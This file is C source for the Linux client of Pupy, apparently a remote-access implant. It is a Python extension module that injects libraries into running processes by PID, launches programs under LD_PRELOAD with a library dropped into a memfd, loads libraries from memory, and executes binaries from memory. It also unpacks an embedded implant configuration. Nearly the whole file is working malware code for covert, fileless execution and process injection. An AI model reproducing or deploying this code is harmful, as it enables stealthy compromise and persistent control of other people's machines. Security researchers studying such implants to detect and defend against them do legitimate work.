pupy/client/sources-linux/pupy.c

/*
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
*/

#include <stdlib.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/wait.h>
#include "debug.h"
#include "Python-dynload.h"
#include "daemonize.h"
#include <arpa/inet.h>
#include "tmplibrary.h"
#include <sys/mman.h>
#include "memfd.h"

#include "resources_library_compressed_string_txt.c"

int linux_inject_main(int argc, char **argv);

static const char module_doc[] = "Builtins utilities for pupy";

static const char pupy_config[32768]="####---PUPY_CONFIG_COMES_HERE---####\n";

static PyObject *ExecError;

#include "lzmaunpack.c"

static PyObject *Py_get_modules(PyObject *self, PyObject *args)
{
    static PyObject *modules = NULL;
    if (!modules) {
        modules = PyObject_lzmaunpack(
            resources_library_compressed_string_txt_start,
            resources_library_compressed_string_txt_size
        );

        munmap(resources_library_compressed_string_txt_start,
            resources_library_compressed_string_txt_size);

        Py_XINCREF(modules);
    }

    return modules;
}

static PyObject *
Py_get_pupy_config(PyObject *self, PyObject *args)
{
    static PyObject *config = NULL;
    if (!config) {
        size_t compressed_size = ntohl(
            *((unsigned int *) pupy_config)
        );

        config = PyObject_lzmaunpack(pupy_config+sizeof(int), compressed_size);

        Py_XINCREF(config);
    }

    return config;
}

static PyObject *Py_get_arch(PyObject *self, PyObject *args)
{
#ifdef __x86_64__
    return Py_BuildValue("s", "x64");
#elif __i386__
    return Py_BuildValue("s", "x86");
#else
    return Py_BuildValue("s", "unknown");
#endif
}

static PyObject *Py_ld_preload_inject_dll(PyObject *self, PyObject *args)
{
    const char *lpCmdBuffer;
    const char *lpDllBuffer;
    uint32_t dwDllLenght;
    PyObject* py_HookExit;

    if (!PyArg_ParseTuple(args, "zs#O", &lpCmdBuffer, &lpDllBuffer, &dwDllLenght, &py_HookExit))
        return NULL;

    char ldobject[PATH_MAX] = {};
    int cleanup_workaround = 0;
    int cleanup = 1;

    int fd = drop_library(ldobject, PATH_MAX, lpDllBuffer, dwDllLenght);
    if (fd < 0) {
        dprint("Couldn't drop library: %m\n");
        return NULL;
    }

    if (is_memfd_path(ldobject)) {
        char buf2[PATH_MAX];
        strncpy(buf2, ldobject, sizeof(buf2));
        snprintf(ldobject, sizeof(ldobject), "/proc/%d/fd/%d", getpid(), fd);
        cleanup_workaround = 1;
        cleanup = 0;
    }

    char cmdline[PATH_MAX*2] = {};
    snprintf(
        cmdline, sizeof(cmdline), "LD_PRELOAD=%s HOOK_EXIT=%d CLEANUP=%d exec %s 1>/dev/null 2>/dev/null",
        ldobject,
        PyObject_IsTrue(py_HookExit),
        cleanup,
        lpCmdBuffer,
        ldobject
    );

    dprint("Program to execute in child context: %s\n", cmdline);

    prctl(4, 1, 0, 0, 0);

    pid_t pid = daemonize(0, NULL, NULL, false);
    if (pid == 0) {
        /* Daemonized context */
        dprint("Daemonization complete - client\n");
        execl("/bin/sh", "/bin/sh", "-c", cmdline, NULL);
        unlink(ldobject);
        exit(255);
    }

    dprint("Daemonization complete - server\n");
    if (cleanup_workaround) {
        sleep(2);
        close(fd);
    }

    prctl(3, 0, 0, 0, 0);

    if (pid == -1) {
        dprint("Couldn\'t daemonize: %m\n");
        unlink(ldobject);
        return PyInt_FromLong(-1);
    }

    return PyInt_FromLong(pid);
}

static PyObject *Py_reflective_inject_dll(PyObject *self, PyObject *args)
{
    uint32_t dwPid;
    const char *lpDllBuffer;
    uint32_t dwDllLenght;
    const char *cpCommandLine;

    if (!PyArg_ParseTuple(args, "Is#", &dwPid, &lpDllBuffer, &dwDllLenght))
        return NULL;

    dprint("Injection requested. PID: %d\n", dwPid);

    char buf[PATH_MAX]={};
    int fd = drop_library(buf, PATH_MAX, lpDllBuffer, dwDllLenght);
    if (!fd) {
        dprint("Couldn't drop library: %m\n");
        return NULL;
    }

    if (is_memfd_path(buf)) {
        char buf2[PATH_MAX];
        strncpy(buf2, buf, sizeof(buf2));
        snprintf(buf, sizeof(buf), "/proc/%d/fd/%d", getpid(), fd);
    }

    char pid[20] = {};
    snprintf(pid, sizeof(pid), "%d", dwPid);

    char *linux_inject_argv[] = {
        "linux-inject", "-p", pid, buf, NULL
    };

    dprint("Injecting %s to %d\n", pid, buf);

    prctl(4, 1, 0, 0, 0);

    pid_t injpid = fork();
    if (injpid == -1) {
        dprint("Couldn't fork\n");
        close(fd);
        unlink(buf);
        return PyBool_FromLong(1);
    }

    int status;

    if (injpid == 0) {
        int r = linux_inject_main(4, linux_inject_argv);
        exit(r);
    } else {
        waitpid(injpid, &status, 0);
    }

    prctl(3, 0, 0, 0, 0);

    dprint("Injection code: %d\n", status);

    unlink(buf);
    /* close(fd); */

    if (WEXITSTATUS(status) == 0) {
        dprint("Injection successful\n");
        return PyBool_FromLong(1);
    } else {
        dprint("Injection failed\n");
        return PyBool_FromLong(0);
    }
}

static PyObject *Py_load_dll(PyObject *self, PyObject *args)
{
    uint32_t dwPid;
    const char *lpDllBuffer;
    uint32_t dwDllLenght;
    const char *dllname;
    if (!PyArg_ParseTuple(args, "ss#", &dllname, &lpDllBuffer, &dwDllLenght))
        return NULL;

    printf("Py_load_dll(%s)\n", dllname);

    return PyLong_FromVoidPtr(memdlopen(dllname, lpDllBuffer, dwDllLenght));
}

static PyObject *Py_mexec(PyObject *self, PyObject *args)
{
    const char *buffer = NULL;
    size_t buffer_size = 0;
    PyObject *argv_obj = NULL;
    PyObject *redirected_obj = NULL;
    PyObject *detach_obj = NULL;

    if (!PyArg_ParseTuple(args, "s#OOO", &buffer, &buffer_size, &argv_obj, &redirected_obj, &detach_obj))
        return NULL;

    Py_ssize_t argc = PySequence_Length(argv_obj);
    if (args < 1) {
        PyErr_SetString(ExecError, "Args not passed");
        return NULL;
    }

    bool redirected = PyObject_IsTrue(redirected_obj);
    bool detach =  PyObject_IsTrue(detach_obj);
    char **argv = (char **) malloc(sizeof(char*) * (argc + 1));
    if (!argv) {
        PyErr_SetString(ExecError, "Too many args");
        return NULL;
    }

    int i;
    for (i=0; i<argc; i++) {
        PyObject *arg = NULL;
        arg = PySequence_GetItem(argv_obj, i);
        if (arg)
            argv[i] = PyString_AsString(arg);
    }
    argv[argc] = NULL;

    int stdior[3] = { -1, -1, -1 };
    pid_t pid = memexec(buffer, buffer_size, argv, stdior, redirected, detach);

    if (pid < 0) {
        PyErr_SetString(ExecError, "Can't execute");
        return NULL;
    }

    PyObject * p_stdin = Py_None;
    PyObject * p_stdout = Py_None;
    PyObject * p_stderr = Py_None;

    if (redirected) {
        p_stdin = PyFile_FromFile(fdopen(stdior[0], "w"), "mexec:stdin", "a", fclose);
        p_stdout = PyFile_FromFile(fdopen(stdior[1], "r"), "mexec:stdout", "r", fclose);
        p_stderr = PyFile_FromFile(fdopen(stdior[2], "r"), "mexec:stderr", "r", fclose);

        PyFile_SetBufSize(p_stdin, 0);
        PyFile_SetBufSize(p_stdout, 0);
        PyFile_SetBufSize(p_stderr, 0);
    }

    return Py_BuildValue("i(OOO)", pid, p_stdin, p_stdout, p_stderr);
}

static PyMethodDef methods[] = {
    { "get_pupy_config", Py_get_pupy_config, METH_NOARGS, "get_pupy_config() -> string" },
    { "get_arch", Py_get_arch, METH_NOARGS, "get current pupy architecture (x86 or x64)" },
    { "get_modules", Py_get_modules, METH_NOARGS, "get pupy library" },
    { "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS, "reflective_inject_dll(pid, dll_buffer)\nreflectively inject a dll into a process. raise an Exception on failure" },
    { "load_dll", Py_load_dll, METH_VARARGS, "load_dll(dllname, raw_dll) -> ptr" },
    { "mexec", Py_mexec, METH_VARARGS, "mexec(data, argv, redirected_stdio, detach) -> (pid, (in, out, err))" },
    { "ld_preload_inject_dll", Py_ld_preload_inject_dll, METH_VARARGS, "ld_preload_inject_dll(cmdline, dll_buffer, hook_exit) -> pid" },
    { NULL, NULL },     /* Sentinel */
};

DL_EXPORT(void)
initpupy(void)
{
    PyObject *pupy = Py_InitModule3("pupy", methods, module_doc);
    if (!pupy) {
        return NULL;
    }

    ExecError = PyErr_NewException("pupy.error", NULL, NULL);
    Py_INCREF(ExecError);
    PyModule_AddObject(pupy, "error", ExecError);
}